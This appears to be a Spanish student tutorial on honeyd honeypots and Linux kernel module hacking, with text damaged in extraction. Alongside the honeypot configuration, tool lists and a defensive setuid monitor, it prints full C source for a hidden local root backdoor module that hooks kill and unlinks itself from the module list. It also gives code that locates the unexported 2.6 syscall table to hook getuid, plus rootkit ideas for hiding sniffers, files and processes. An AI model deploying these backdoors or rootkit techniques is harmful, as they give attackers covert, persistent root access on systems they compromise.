Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado
iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt
$cat usrsrclinuxincludelinuxasmunistdh|less
Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh
Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt
Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo
Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod
La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt
1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt
sigue listado 4
Kernel hacks y seguridad JMP
continuando listado 4
8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())
Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten
Kernel hacks y seguridad JMP
5- Protegiendo el UID 0
Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema
Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso
1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i
[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)
Kernel hacks y seguridad JMP
Insertamos el moacutedulo y probamos
root su linux linux$ su root linux$ tail varlogmessages
La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora
Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por
res=( hook_suid)(0)
hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes
En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)
Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no
Kernel hacks y seguridad JMP
6- Backdoor local para kernels 24x
Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo
En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente
linux$ kill -0 00000 (al hacer id vemos que ocurre)
por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto
Kernel hacks y seguridad JMP
backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)
En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas
$cat procksyms
Kernel hacks y seguridad JMP
Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro
Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente
Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale
El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite
Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26
Kernel hacks y seguridad JMP
7- Moacutedulos para la serie 26 del nuacutecleo
Lo mejor para empezar es ver un listado de coacutedigo
Primer ejemplo de un LKM para la serie 26
1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
